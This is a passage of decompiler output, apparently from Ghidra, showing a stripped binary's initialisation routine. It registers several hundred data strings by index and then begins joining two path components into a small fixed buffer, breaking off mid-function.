  FUN_0040d8fa(0xc,&DAT_00426f8a,0xc);
  FUN_0040d8fa(0xd,&DAT_00426f97,7);
  FUN_0040d8fa(0xe,&DAT_00426f9f,0x18);
  FUN_0040d8fa(0xf,&DAT_00426fb8,0x1a);
  FUN_0040d8fa(0x10,&DAT_00426fd3,0x11);
  FUN_0040d8fa(0x11,&DAT_00427519,1);
  FUN_0040d8fa(0x12,&DAT_00426fe5,4);
  FUN_0040d8fa(0x13,&DAT_00426fea,0xe);
  FUN_0040d8fa(0x14,&DAT_00426ff9,0x28);
  FUN_0040d8fa(0x15,&DAT_00427022,0x28);
  FUN_0040d8fa(0x16,&DAT_0042704b,8);
  FUN_0040d8fa(0x17,&DAT_00427054,8);
  FUN_0040d8fa(0x18,&DAT_0042705d,2);
  FUN_0040d8fa(0x19,&DAT_00427060,3);
  FUN_0040d8fa(0x1a,&DAT_00427064,3);
  FUN_0040d8fa(0x1b,&DAT_00427068,3);
  FUN_0040d8fa(0x1c,&DAT_0042706c,3);
  FUN_0040d8fa(0x1d,&DAT_00427070,3);
  FUN_0040d8fa(0x1e,&DAT_00427074,3);
  FUN_0040d8fa(0x1f,&DAT_00427078,3);
  FUN_0040d8fa(0x20,&DAT_0042707c,3);
  FUN_0040d8fa(0x21,&DAT_00427080,4);
  FUN_0040d8fa(0x22,&DAT_00427085,4);
  FUN_0040d8fa(0x23,&DAT_0042708a,4);
  FUN_0040d8fa(0x24,&DAT_0042708f,4);
  FUN_0040d8fa(0x25,&DAT_00427094,4);
  FUN_0040d8fa(0x26,&DAT_00427099,4);
  FUN_0040d8fa(0x27,&DAT_0042709e,4);
  FUN_0040d8fa(0x28,&DAT_004270a3,4);
  FUN_0040d8fa(0x29,&DAT_004270a8,4);
  FUN_0040d8fa(0x2a,&DAT_004270ad,4);
  FUN_0040d8fa(0x2b,&DAT_004270b2,4);
  FUN_0040d8fa(0x2c,&DAT_004270b7,4);
  FUN_0040d8fa(0x2d,&DAT_004270bc,4);
  FUN_0040d8fa(0x2e,&DAT_004270c1,4);
  FUN_0040d8fa(0x2f,&DAT_004270c6,4);
  FUN_0040d8fa(0x30,&DAT_004270cb,4);
  FUN_0040d8fa(0x31,&DAT_004270d0,4);
  FUN_0040d8fa(0x32,&DAT_004270d5,4);
  FUN_0040d8fa(0x33,&DAT_004270da,4);
  FUN_0040d8fa(0x34,&DAT_004270df,4);
  FUN_0040d8fa(0x35,&DAT_004270e4,4);
  FUN_0040d8fa(0x36,&DAT_004270e9,4);
  FUN_0040d8fa(0x37,&DAT_004270ee,4);
  FUN_0040d8fa(0x38,&DAT_004270f3,6);
  FUN_0040d8fa(0x39,&DAT_004270fa,9);
  FUN_0040d8fa(0x3a,&DAT_00427104,9);
  FUN_0040d8fa(0x3b,&DAT_0042710e,6);
  FUN_0040d8fa(0x3c,&DAT_00427115,7);
  FUN_0040dae1(0,&DAT_0042711d,0x11);
  FUN_0040dae1(1,&DAT_0042712f,0xf);
  FUN_0040dae1(2,&DAT_0042713f,0x17);
  FUN_0040dae1(3,&DAT_00427157,0x19);
  FUN_0040dae1(4,&DAT_00427171,0x11);
  FUN_0040dae1(5,&DAT_00427183,0xd);
  FUN_0040dae1(6,&DAT_00428239,0x38);
  FUN_0040dae1(7,&DAT_00427191,0x18);
  FUN_0040dae1(8,&DAT_004271aa,0x20);
  FUN_0040dae1(9,&DAT_004271cb,0xf);
  FUN_0040dae1(10,&DAT_004271db,0x11);
  _DAT_0062e620 = _DAT_0062e640;
  uRam000000000062e624 = uRam000000000062e644;
  uRam000000000062e628 = _DAT_0062e648;
  uRam000000000062e62c = uRam000000000062e64c;
  FUN_0040d8fa(0x3e,&DAT_004271ed,0x20);
  FUN_0040d8fa(0x3f,&DAT_0042720e,6);
  FUN_0040d8fa(0x40,&DAT_00427215,5);
  FUN_0040d8fa(0x41,&DAT_0042721b,6);
  FUN_0040d8fa(0x42,&DAT_00427222,5);
  FUN_0040d8fa(0x43,&DAT_00427228,6);
  FUN_0040d8fa(0x44,&DAT_0042722f,9);
  FUN_0040d8fa(0x45,&DAT_00427239,9);
  FUN_0040d8fa(0x46,&DAT_00427243,10);
  FUN_0040d8fa(0x47,&DAT_0042724e,9);
  FUN_0040d8fa(0x48,&DAT_00427258,5);
  FUN_0040d8fa(0x49,&DAT_0042725e,4);
  FUN_0040d8fa(0x4a,&DAT_00427263,4);
  FUN_0040d8fa(0x4b,&DAT_00427268,4);
  FUN_0040d8fa(0x4c,&DAT_0042726d,4);
  FUN_0040d8fa(0x4d,&DAT_00427272,4);
  FUN_0040d8fa(0x4e,&DAT_00427277,4);
  FUN_0040d8fa(0x4f,&DAT_0042727c,4);
  FUN_0040d8fa(0x50,&DAT_00427281,5);
  FUN_0040d8fa(0x51,&DAT_00427287,5);
  FUN_0040d8fa(0x52,&DAT_0042728d,0xf);
  FUN_0040d8fa(0x53,&DAT_0042728d,0xf);
  FUN_0040d8fa(0x54,&DAT_0042729d,9);
  FUN_0040d8fa(0x55,&DAT_004272a7,10);
  FUN_0040d8fa(0x56,&DAT_004272b2,8);
  FUN_0040d8fa(0x57,&DAT_004272bb,0xd);
  FUN_0040d8fa(0x58,&DAT_004272c9,5);
  FUN_0040d8fa(0x59,&DAT_004272cf,8);
  FUN_0040d8fa(0x5a,&DAT_004272d8,10);
  FUN_0040d8fa(0x5b,&DAT_004272e3,9);
  FUN_0040d8fa(0x5c,&DAT_004272ed,8);
  FUN_0040d8fa(0x5d,&DAT_004272f6,8);
  FUN_0040d8fa(0x5e,&DAT_004272ff,9);
  FUN_0040d8fa(0x5f,&DAT_00427309,9);
  FUN_0040d8fa(0x60,&DAT_00427313,10);
  FUN_0040d8fa(0x61,&DAT_0042731e,0xb);
  FUN_0040d8fa(0x62,&DAT_0042732a,9);
  FUN_0040d8fa(99,&DAT_00427334,10);
  FUN_0040d8fa(100,&DAT_0042733f,7);
  FUN_0040d8fa(0x65,&DAT_00427347,5);
  FUN_0040d8fa(0x66,&DAT_0042734d,9);
  FUN_0040d8fa(0x67,&DAT_00427357,7);
  FUN_0040d8fa(0x68,&DAT_0042735f,8);
  FUN_0040d8fa(0x69,&DAT_00427368,0xe);
  FUN_0040d8fa(0x6a,&DAT_00427377,0xf);
  FUN_0040d8fa(0x6b,&DAT_00427387,9);
  FUN_0040d8fa(0x6c,&DAT_00427391,0x1d);
  FUN_0040d8fa(0x6d,&DAT_004273af,7);
  FUN_0040d8fa(0x6e,&DAT_004273b7,0xe);
  FUN_0040d8fa(0x6f,&DAT_004273c6,0x11);
  FUN_0040d8fa(0x70,&DAT_004273d8,0x14);
  FUN_0040d8fa(0x71,&DAT_004273ed,6);
  FUN_0040d8fa(0x72,&DAT_004273f4,0xd);
  FUN_0040d8fa(0x73,&DAT_00427402,0xe);
  FUN_0040d8fa(0x74,&DAT_00427411,0xe);
  FUN_0040d8fa(0x75,&DAT_00427420,7);
  FUN_0040d8fa(0x76,&DAT_00427428,6);
  FUN_0040d8fa(0x77,&DAT_0042742f,7);
  FUN_0040d8fa(0x78,&DAT_00427437,6);
  FUN_0040d8fa(0x79,&DAT_0042743e,6);
  FUN_0040d8fa(0x7a,&DAT_00427445,6);
  FUN_0040d8fa(0x7b,&DAT_0042744c,6);
  FUN_0040d8fa(0x7c,&DAT_00427453,6);
  FUN_0040d8fa(0x7d,&DAT_0042745a,6);
  FUN_0040d8fa(0x7e,&DAT_00427461,7);
  FUN_0040d8fa(0x7f,&DAT_00427469,8);
  FUN_0040d8fa(0x80,&DAT_00427472,6);
  FUN_0040d8fa(0x81,&DAT_00427479,10);
  FUN_0040d8fa(0x82,&DAT_00427484,10);
  FUN_0040d8fa(0x83,&DAT_0042748f,10);
  FUN_0040d8fa(0x84,&DAT_0042749a,0xc);
  FUN_0040d8fa(0x85,&DAT_004274a7,0xc);
  FUN_0040d8fa(0x86,&DAT_004274b4,10);
  FUN_0040d8fa(0x87,&DAT_004274bf,5);
  FUN_0040d8fa(0x88,&DAT_004274c5,8);
  FUN_0040d8fa(0x89,&DAT_004274ce,9);
  FUN_0040d8fa(0x8a,&DAT_00428272,10);
  FUN_0040d8fa(0x8b,&DAT_004274d8,10);
  FUN_0040d8fa(0x8c,&DAT_004274e3,5);
  FUN_0040d8fa(0x8d,&DAT_004274e9,8);
  FUN_0040d8fa(0x8e,&DAT_004274f2,10);
  FUN_0040d8fa(0x8f,&DAT_004274fd,6);
  FUN_0040d8fa(0x90,&DAT_0042827d,5);
  FUN_0040d8fa(0x91,&DAT_00427504,0xb);
  FUN_0040d8fa(0x92,&DAT_00427510,10);
  FUN_0040d8fa(0x93,&DAT_0042751b,7);
  FUN_0040d8fa(0x94,&DAT_00427523,7);
  FUN_0040d8fa(0x95,&DAT_0042752b,8);
  FUN_0040d8fa(0x96,&DAT_00427534,8);
  FUN_0040d8fa(0x97,&DAT_0042753d,3);
  FUN_0040d8fa(0x98,&DAT_00427541,0xc);
  FUN_0040d8fa(0x99,&DAT_00428283,0xb);
  FUN_0040d8fa(0x9a,&DAT_0042754e,8);
  FUN_0040d8fa(0x9b,&DAT_00427557,0x10);
  FUN_0040d8fa(0x9c,&DAT_00427568,9);
  FUN_0040d8fa(0x9d,&DAT_00427572,0x10);
  FUN_0040d8fa(0x9e,&DAT_00427583,5);
  FUN_0040d8fa(0x9f,&DAT_00427589,0x10);
  FUN_0040d8fa(0xa0,&DAT_0042759a,0x10);
  FUN_0040d8fa(0xa1,&DAT_004275ab,8);
  FUN_0040d8fa(0xa2,&DAT_004275b4,0xe);
  FUN_0040d8fa(0xa3,&DAT_004275c3,6);
  FUN_0040d8fa(0xa4,&DAT_004275ca,5);
  FUN_0040d8fa(0xa5,&DAT_004275d0,7);
  FUN_0040d8fa(0xa6,&DAT_004275d8,10);
  FUN_0040d8fa(0xa7,&DAT_004275e3,6);
  FUN_0040d8fa(0xa8,&DAT_004275ea,6);
  FUN_0040d8fa(0xa9,&DAT_004275f1,6);
  FUN_0040d8fa(0xaa,&DAT_004275f8,6);
  FUN_0040d8fa(0xab,&DAT_004275ff,6);
  FUN_0040d8fa(0xac,&DAT_00427606,8);
  FUN_0040d8fa(0xad,&DAT_0042760f,7);
  FUN_0040d8fa(0xae,&DAT_00427617,6);
  FUN_0040d8fa(0xaf,&DAT_0042761e,9);
  FUN_0040d8fa(0xb0,&DAT_00427628,8);
  FUN_0040d8fa(0xb1,&DAT_00427631,6);
  FUN_0040d8fa(0xb2,&DAT_00427638,7);
  FUN_0040d8fa(0xb3,&DAT_00427640,8);
  FUN_0040d8fa(0xb4,&DAT_00427649,5);
  FUN_0040d8fa(0xb5,&DAT_0042764f,9);
  FUN_0040d8fa(0xb6,&DAT_004274c5,8);
  FUN_0040d8fa(0xb7,&DAT_00427659,5);
  FUN_0040d8fa(0xb8,&DAT_0042765f,8);
  FUN_0040d8fa(0xb9,&DAT_00427668,6);
  FUN_0040d8fa(0xba,&DAT_0042766f,7);
  FUN_0040d8fa(0xbb,&DAT_00427677,10);
  FUN_0040d8fa(0xbc,&DAT_00427682,7);
  FUN_0040d8fa(0xbd,&DAT_0042768a,5);
  FUN_0040d8fa(0xbe,&DAT_00427690,0xb);
  FUN_0040d8fa(0xc0,&DAT_0042769c,0xd);
  FUN_0040d8fa(0xc1,&DAT_004276aa,7);
  FUN_0040d8fa(0xc2,&DAT_004276b2,5);
  FUN_0040d8fa(0xc3,&DAT_004276b8,3);
  FUN_0040d8fa(0xc4,&DAT_004276bd,4);
  FUN_0040d8fa(0xc5,&DAT_004276c3,4);
  FUN_0040d8fa(0xc6,&DAT_004276c9,5);
  FUN_0040d8fa(199,&DAT_004276d0,4);
  FUN_0040d8fa(200,&DAT_004276d6,4);
  FUN_0040d8fa(0xc9,&DAT_004276dc,4);
  FUN_0040d8fa(0xca,&DAT_004276e2,8);
  FUN_0040d8fa(0xcb,&DAT_004276eb,3);
  FUN_0040d8fa(0xcc,&DAT_004276f0,3);
  FUN_0040d8fa(0xcd,&DAT_004276f4,7);
  FUN_0040d8fa(0xcf,&DAT_004276fc,4);
  FUN_0040d8fa(0xce,&DAT_0042742f,7);
  FUN_0040d8fa(0xd0,&DAT_00427701,8);
  FUN_0040d8fa(0xd1,&DAT_0042770a,5);
  FUN_0040d8fa(0xd2,&DAT_00427710,4);
  FUN_0040d8fa(0xd3,&DAT_00427715,0xb);
  FUN_0040d8fa(0xd4,&DAT_00427721,6);
  FUN_0040d8fa(0xd5,&DAT_00427728,8);
  FUN_0040d8fa(0xd6,&DAT_00427731,0xf);
  FUN_0040d8fa(0xd7,&DAT_00427741,0xe);
  FUN_0040d8fa(0xd8,&DAT_0042728d,0xf);
  FUN_0040d8fa(0xd9,&DAT_00427750,6);
  FUN_0040d8fa(0xda,&DAT_00427757,5);
  FUN_0040d8fa(0xdb,&DAT_0042775d,5);
  FUN_0040d8fa(0xdc,&DAT_00427763,9);
  FUN_0040d8fa(0xdd,&DAT_00427763,9);
  FUN_0040d8fa(0xde,&DAT_0042776d,0xd);
  FUN_0040d8fa(0xdf,&DAT_0042777b,0xd);
  FUN_0040d8fa(0xe0,&DAT_00427789,0xd);
  FUN_0040d8fa(0xe1,&DAT_00427797,5);
  FUN_0040d8fa(0xe2,&DAT_0042779d,0xd);
  FUN_0040d8fa(0xe3,&DAT_004277ab,0x12);
  FUN_0040d8fa(0xe4,&DAT_004277be,9);
  FUN_0040d8fa(0xe5,&DAT_004277c8,0x13);
  FUN_0040d8fa(0xe6,&DAT_004277dc,7);
  FUN_0040d8fa(0xe7,&DAT_004277e4,7);
  FUN_0040d8fa(0xe8,&DAT_004277ec,6);
  FUN_0040d8fa(0xe9,&DAT_004277f3,5);
  FUN_0040d8fa(0xea,&DAT_004277f9,8);
  FUN_0040d8fa(0xeb,&DAT_00427802,7);
  FUN_0040d8fa(0xec,&DAT_0042780a,5);
  FUN_0040d8fa(0xed,&DAT_00427810,6);
  FUN_0040d8fa(0xee,&DAT_00427817,7);
  FUN_0040d8fa(0xef,&DAT_00426c2a,1);
  FUN_0040d8fa(0xf0,&DAT_0042781f,4);
  FUN_0040d8fa(0xf1,&DAT_00427824,4);
  FUN_0040d8fa(0xf2,&DAT_00427829,4);
  FUN_0040d8fa(0xf3,&DAT_0042782e,3);
  FUN_0040d8fa(0xf4,&DAT_00427832,4);
  FUN_0040d8fa(0xf5,&DAT_00427837,4);
  FUN_0040d8fa(0xf6,&DAT_0042783c,6);
  FUN_0040d8fa(0xf7,&DAT_00427843,5);
  FUN_0040d8fa(0xf8,&DAT_00427849,4);
  FUN_0040d8fa(0xf9,&DAT_0042784e,4);
  FUN_0040d8fa(0xfa,&DAT_00427853,5);
  FUN_0040d8fa(0xfb,&DAT_00427859,7);
  FUN_0040d8fa(0xfd,&DAT_00427861,9);
  FUN_0040d8fa(0xfe,&DAT_0042786b,9);
  FUN_0040d8fa(0xff,&DAT_00427875,8);
  FUN_0040d8fa(0x100,&DAT_0042787e,8);
  FUN_0040d8fa(0x101,&DAT_00427887,9);
  FUN_0040d8fa(0x102,&DAT_00427891,2);
  FUN_0040d8fa(0x103,&DAT_00427894,4);
  FUN_0040d8fa(0x104,&DAT_00427899,4);
  FUN_0040d8fa(0x105,&DAT_0042789e,3);
  FUN_0040d8fa(0x106,&DAT_004278a2,3);
  FUN_0040d8fa(0x107,&DAT_004278a6,4);
  FUN_0040d8fa(0x108,&DAT_004278ab,3);
  FUN_0040d8fa(0x109,&DAT_004278af,5);
  FUN_0040d8fa(0x10a,&DAT_004278b5,8);
  FUN_0040d8fa(0x10b,&DAT_004278be,6);
  FUN_0040d8fa(0x10c,&DAT_004278c5,8);
  FUN_0040d8fa(0x10d,&DAT_004278ce,4);
  FUN_0040d8fa(0x10e,&DAT_004278d3,8);
  FUN_0040d8fa(0x10f,&DAT_004278dc,0xb);
  FUN_0040d8fa(0x110,&DAT_004278e8,4);
  FUN_0040d8fa(0x111,&DAT_004278ed,5);
  FUN_0040d8fa(0x112,&DAT_00427222,5);
  FUN_0040d8fa(0x113,&DAT_004278f3,0x21);
  FUN_0040d8fa(0x114,&DAT_00427915,0x20);
  FUN_0040d8fa(0x115,&DAT_00427936,0x12);
  FUN_0040d8fa(0x116,&DAT_00427949,0x12);
  FUN_0040d8fa(0x117,&DAT_0042795c,3);
  FUN_0040d8fa(0x118,&DAT_00427960,8);
  FUN_0040d8fa(0x119,&DAT_00427969,4);
  FUN_0040d8fa(0x11a,&DAT_0042796e,0xb);
  FUN_0040d8fa(0x11b,&DAT_0042797a,10);
  FUN_0040d8fa(0x11c,&DAT_00427985,9);
  FUN_0040d8fa(0x11d,&DAT_0042798f,4);
  FUN_0040d8fa(0x11e,&DAT_00427994,4);
  FUN_0040d8fa(0x11f,&DAT_00427999,5);
  FUN_0040d8fa(0x120,&DAT_0042799f,4);
  FUN_0040d8fa(0x121,&DAT_004279a4,5);
  FUN_0040d8fa(0x122,&DAT_004279aa,4);
  FUN_0040d8fa(0x123,&DAT_004279af,4);
  FUN_0040d8fa(0x124,&DAT_0042828f,4);
  FUN_0040d8fa(0x125,&DAT_004279b4,4);
  FUN_0040d8fa(0x126,&DAT_004279b9,5);
  FUN_0040d8fa(0x127,&DAT_004279bf,4);
  FUN_0040d8fa(0x128,&DAT_004279c4,0x10);
  FUN_0040d8fa(0x129,&DAT_004279d5,6);
  FUN_0040d8fa(0x12a,&DAT_004279dc,8);
  FUN_0040d8fa(299,&DAT_004279e5,0x19);
  FUN_0040d8fa(300,&DAT_004279ff,7);
  FUN_0040d8fa(0x12d,&DAT_00427a07,0x12);
  FUN_0040d8fa(0x12e,&DAT_00427a1a,4);
  FUN_0040d8fa(0x12f,&DAT_00427a1f,4);
  FUN_0040d8fa(0x130,&DAT_00427a24,9);
  FUN_0040d8fa(0x131,&DAT_00427a2e,0x54);
  FUN_0040d8fa(0x132,&DAT_00427a83,4);
  FUN_0040d8fa(0x133,&DAT_00427a88,0xe);
  FUN_0040d8fa(0x134,&DAT_00427a97,4);
  FUN_0040d8fa(0x135,&DAT_00427a9c,8);
  FUN_0040d8fa(0x136,&DAT_00427aa5,4);
  FUN_0040d8fa(0x137,&DAT_00427aaa,0xc);
  FUN_0040d8fa(0x138,&DAT_00427859,7);
  FUN_0040d8fa(0x139,&DAT_00427ab7,0x13);
  FUN_0040d8fa(0x13a,&DAT_00427acb,0x13);
  FUN_0040d8fa(0x13b,&DAT_00428294,0x12);
  FUN_0040d8fa(0x13c,&DAT_004282a7,0x12);
  FUN_0040d8fa(0x13d,&DAT_00427adf,0x13);
  FUN_0040d8fa(0x13e,&DAT_00427af3,0xf);
  FUN_0040d8fa(0x13f,&DAT_00427b03,0x10);
  FUN_0040d8fa(0x140,&DAT_00427b14,0x11);
  FUN_0040d8fa(0x141,&DAT_00427b26,0xf);
  FUN_0040d8fa(0x142,&DAT_00427b36,0x10);
  FUN_0040d8fa(0x143,&DAT_00427b47,0xc);
  FUN_0040d8fa(0x144,&DAT_00427b54,0xe);
  FUN_0040d8fa(0x145,&DAT_00427b63,0x20);
  FUN_0040d8fa(0x146,&DAT_00427b84,0xe);
  FUN_0040d8fa(0x147,&DAT_00427b93,0xd);
  FUN_0040d8fa(0x148,&DAT_00427ba1,0xb);
  FUN_0040d8fa(0x149,&DAT_00427bad,0x12);
  FUN_0040d8fa(0x14a,&DAT_00427bc0,8);
  FUN_0040d8fa(0x14b,&DAT_00427832,4);
  FUN_0040d8fa(0x14c,&DAT_00427824,4);
  FUN_0040d8fa(0x14d,&DAT_00427837,4);
  FUN_0040d8fa(0x14e,&DAT_0042781f,4);
  FUN_0040d8fa(0x14f,&DAT_0042783c,6);
  FUN_0040d8fa(0x150,&DAT_00427bc9,6);
  FUN_0040d8fa(0x151,&DAT_00427bd0,6);
  FUN_0040d8fa(0x152,&DAT_00427bd7,5);
  FUN_0040d8fa(0x153,&DAT_00427bdd,5);
  FUN_0040d8fa(0x154,&DAT_00427be3,7);
  FUN_0040d8fa(0x155,&DAT_00427beb,5);
  FUN_0040d8fa(0x156,&DAT_00427843,5);
  FUN_0040d8fa(0x157,&DAT_00427849,4);
  FUN_0040d8fa(0x158,&DAT_00427bf1,4);
  FUN_0040d8fa(0x159,&DAT_00427bf6,3);
  FUN_0040d8fa(0x15a,&DAT_00427bfa,0xf);
  FUN_0040d8fa(0x15b,&DAT_00427c0a,0xc);
  FUN_0040d8fa(0x15c,&DAT_00427c17,0x10);
  FUN_0040d8fa(0x15d,&DAT_00427c28,0xc);
  FUN_0040d8fa(0x15e,&DAT_00427797,5);
  FUN_0040d8fa(0x15f,&DAT_0042720e,6);
  FUN_0040d8fa(0x160,&DAT_00427c35,0xe);
  FUN_0040d8fa(0x161,&DAT_00427c44,0xf);
  FUN_0040d8fa(0x162,&DAT_00427c54,4);
  FUN_0040d8fa(0x163,&DAT_00427272,4);
  FUN_0040d8fa(0x164,&DAT_00427c59,9);
  FUN_0040d8fa(0x165,&DAT_00427c63,9);
  FUN_0040d8fa(0x166,&DAT_00427c6d,0x12);
  FUN_0040d8fa(0x167,&DAT_00427c80,9);
  FUN_0040d8fa(0x168,&DAT_00427c8a,6);
  FUN_0040d8fa(0x169,&DAT_00427c91,6);
  FUN_0040d8fa(0x16a,&DAT_00427c98,4);
  FUN_0040d8fa(0x16b,&DAT_00427c9d,3);
  FUN_0040d8fa(0x16c,&DAT_00427ca1,6);
  FUN_0040d8fa(0x16d,&DAT_004282ba,5);
  FUN_0040d8fa(0x16e,&DAT_00427ca8,8);
  FUN_0040d8fa(0x16f,&DAT_004282c0,5);
  FUN_0040d8fa(0x170,&DAT_00427cb1,6);
  FUN_0040d8fa(0x171,&DAT_00427cb8,7);
  FUN_0040d8fa(0x172,&DAT_00427cc0,6);
  FUN_0040d8fa(0x173,&DAT_00427cc7,7);
  FUN_0040d8fa(0x174,&DAT_00427ccf,7);
  FUN_0040d8fa(0x175,&DAT_004282c6,8);
  FUN_0040d8fa(0x176,&DAT_00427cd7,7);
  FUN_0040d8fa(0x177,&DAT_00427cdf,6);
  FUN_0040d8fa(0x178,&DAT_00427ce6,6);
  FUN_0040d8fa(0x179,&DAT_004282cf,0xb);
  FUN_0040d8fa(0x17a,&DAT_00427ced,10);
  FUN_0040d8fa(0x17b,&DAT_00427cf8,9);
  FUN_0040d8fa(0x17c,&DAT_00427d02,10);
  FUN_0040d8fa(0x17d,&DAT_004282db,5);
  FUN_0040d8fa(0x17e,&DAT_00427d0d,6);
  FUN_0040d8fa(0x17f,&DAT_00427d14,4);
  FUN_0040d8fa(0x180,&DAT_00427d19,4);
  FUN_0040d8fa(0x181,&DAT_004278ed,5);
  FUN_0040d8fa(0x182,&DAT_00427d1e,7);
  FUN_0040d8fa(0x183,&DAT_00427222,5);
  FUN_0040d8fa(0x184,&DAT_00427d26,0x10);
  FUN_0040d8fa(0x185,&DAT_00427d37,0xe);
  FUN_0040d8fa(0x186,&DAT_00427d46,0xe);
  FUN_0040d8fa(0x187,&DAT_00427d55,0x14);
  FUN_0040d8fa(0x188,&DAT_004282e1,0x12);
  FUN_0040d8fa(0x189,&DAT_00427d6a,0x16);
  FUN_0040d8fa(0x18a,&DAT_00427d81,0x14);
  FUN_0040d8fa(0x18b,&DAT_00427d96,0x1b);
  FUN_0040d8fa(0x18c,&DAT_004282f4,0x12);
  FUN_0040d8fa(0x18d,&DAT_00428307,0x12);
  FUN_0040d8fa(0x18e,&DAT_00427db2,0x18);
  FUN_0040d8fa(399,&DAT_00427dcb,0x17);
  FUN_0040d8fa(400,&DAT_00427de3,0x19);
  FUN_0040d8fa(0x191,&DAT_00427dfd,0x1a);
  FUN_0040d8fa(0x192,&DAT_00427e18,0x19);
  FUN_0040d8fa(0x193,&DAT_00427e32,0x1b);
  FUN_0040d8fa(0x194,&DAT_00427e4e,9);
  FUN_0040d8fa(0x195,&DAT_00427e58,9);
  FUN_0040d8fa(0x196,&DAT_00427e62,0xb);
  FUN_0040d8fa(0x197,&DAT_00427e6e,4);
  FUN_0040d8fa(0x198,&DAT_00427e73,7);
  FUN_0040d8fa(0x199,&DAT_0042831a,9);
  FUN_0040d8fa(0x19a,&DAT_00427e7b,9);
  FUN_0040d8fa(0x19b,&DAT_004277f9,8);
  FUN_0040d8fa(0x19c,&DAT_00427e85,8);
  FUN_0040d8fa(0x19d,&DAT_00427e8e,4);
  FUN_0040d8fa(0x19e,&DAT_004277dc,7);
  FUN_0040d8fa(0x19f,&DAT_00427e93,5);
  FUN_0040d8fa(0x1a0,&DAT_00427e99,8);
  FUN_0040d8fa(0x1a1,&DAT_00427ea2,0xb);
  FUN_0040d8fa(0x1a2,&DAT_00427eae,4);
  FUN_0040d8fa(0x1a3,&DAT_00427eb3,5);
  FUN_0040d8fa(0x1a4,&DAT_00427eb9,7);
  FUN_0040d8fa(0x1a5,&DAT_00427ec1,6);
  FUN_0040d8fa(0x1a6,&DAT_00427ec8,4);
  FUN_0040d8fa(0x1a7,&DAT_00427ecd,9);
  FUN_0040d8fa(0x1a8,&DAT_00427ed7,7);
  FUN_0040d8fa(0x1a9,&DAT_00427edf,6);
  FUN_0040d8fa(0x1aa,&DAT_00427ee6,4);
  FUN_0040d8fa(0x1ab,&DAT_00427eeb,4);
  FUN_0040d8fa(0x1ac,&DAT_00427ef0,4);
  FUN_0040d8fa(0x1ad,&DAT_00427ef5,4);
  FUN_0040d8fa(0x1ae,&DAT_00427efa,0xc);
  FUN_0040d8fa(0x1af,&DAT_00428324,5);
  FUN_0040d8fa(0x1b0,&DAT_00427f07,0xb);
  FUN_0040d8fa(0x1b1,&DAT_00427f13,0x14);
  FUN_0040d8fa(0x1b2,&DAT_00427f28,0x10);
  FUN_0040d8fa(0x1b3,&DAT_00427f39,8);
  FUN_0040d8fa(0x1b4,&DAT_00427f42,5);
  FUN_0040d8fa(0x1b5,&DAT_0042725e,4);
  FUN_0040d8fa(0x1b6,&DAT_00427f48,9);
  FUN_0040d8fa(0x1b7,&DAT_00427f48,9);
  FUN_0040d8fa(0x1b8,&DAT_00427f52,5);
  FUN_0040d8fa(0x1b9,&DAT_00427f58,0x17);
  FUN_0040d8fa(0x1ba,&DAT_00427f70,10);
  FUN_0040d8fa(0x1bb,&DAT_00427f7b,0x50);
  FUN_0040d8fa(0x1bc,&DAT_00427fcc,0x18);
  FUN_0040d8fa(0x1bd,&DAT_0042832a,0x14);
  FUN_0040d8fa(0x1be,&DAT_0042833f,0x31);
  FUN_0040d8fa(0x1bf,&DAT_00427fe5,0x19);
  FUN_0040d8fa(0x1c0,&DAT_00427fff,0x20);
  FUN_0040d8fa(0x1c1,&DAT_00428020,0x1a);
  FUN_0040d8fa(0x1c2,&DAT_0042803b,0x17);
  FUN_0040d8fa(0x1c3,&DAT_00428371,0x11);
  FUN_0040d8fa(0x1c4,&DAT_00428053,0x12);
  FUN_0040d8fa(0x1c5,&DAT_00428066,0x10);
  FUN_0040d8fa(0x1c6,&DAT_00428077,0xc);
  FUN_0040d8fa(0x1c7,&DAT_00428084,0x12);
  FUN_0040d8fa(0x1c8,&DAT_00428097,5);
  FUN_0040d8fa(0x1c9,&DAT_0042809d,8);
  FUN_0040d8fa(0x1ca,&DAT_004280a6,4);
  FUN_0040d8fa(0x1cb,&DAT_004280ab,3);
  FUN_0040d8fa(0x1cc,&DAT_004280af,0x13);
  FUN_0040d8fa(0x1cd,&DAT_004280c3,7);
  FUN_0040d8fa(0x1ce,&DAT_004280cb,4);
  FUN_0040d8fa(0x1cf,&DAT_00428383,0x6f);
  FUN_0040d8fa(0x1d0,&DAT_004283f3,0x50);
  FUN_0040d8fa(0x1d1,&DAT_004280d0,0x75);
  FUN_0040d8fa(0x1d2,&DAT_00428146,0x65);
  FUN_0040d8fa(0x1d3,&DAT_00428444,0x7d);
  FUN_0040d8fa(0x1d4,&DAT_004281ac,0xb);
  FUN_0040d8fa(0x1d5,&DAT_004281b8,0x10);
  FUN_0040d8fa(0x1d6,&DAT_004281c9,0x1f);
  FUN_0040d8fa(0x1d7,&DAT_004281e9,0x14);
  FUN_0040d8fa(0x1d8,&DAT_004281fe,0xb);
  FUN_0040d8fa(0x1d9,&DAT_0042820a,0x17);
  FUN_0040d8fa(0x1da,&DAT_004284c2,0x1d);
  FUN_0040d8fa(0x1db,&DAT_00428222,3);
  puVar9 = DAT_0062e6f0;
  if (*(long *)(DAT_0062e6f0 + 0x590) != 0) {
    piVar1 = DAT_0062e6f0 + 0x592;
    if (0 < *piVar1) {
      *(long *)(DAT_0062e6f0 + 0x2fc) = *(long *)(DAT_0062e6f0 + 0x590);
      puVar9[0x2fe] = *piVar1;
    }
  }
  puVar8 = *(undefined1 **)(puVar9 + 0x408);
  if ((*(undefined1 **)(puVar9 + 0x138) != (undefined1 *)0x0) && (puVar8 != (undefined1 *)0x0)) {
    uVar2 = puVar9[0x13a];
    uVar3 = puVar9[0x40a];
    uVar6 = (ulong)uVar3;
    if ((0 < (int)uVar2) && (0 < (int)uVar3)) {
      iVar11 = uVar3 + uVar2 + 1;
      if (iVar11 < 0x10) {
        puVar7 = *(undefined1 **)(puVar9 + 0x138);
        puVar10 = &DAT_0062e600;
        for (uVar5 = (ulong)uVar2; uVar5 != 0; uVar5 = uVar5 - 1) {
          *puVar10 = *puVar7;
          puVar7 = puVar7 + (ulong)bVar12 * -2 + 1;
          puVar10 = puVar10 + (ulong)bVar12 * -2 + 1;
        }
        (&DAT_0062e600)[(int)uVar2] = 0x2f;
        puVar7 = &DAT_0062e600 + (int)(uVar2 + 1);
        for (; uVar6 != 0; uVar6 = uVar6 - 1) {
          *puVar7 = *puVar8;
          puVar8 = puVar8 + (ulong)bVar12 * -2 + 1;
          puVar7 = puVar7 + (ulong)bVar12 * -2 + 1;
        }
        (&DAT_0062e600)[iVar11] = 0;
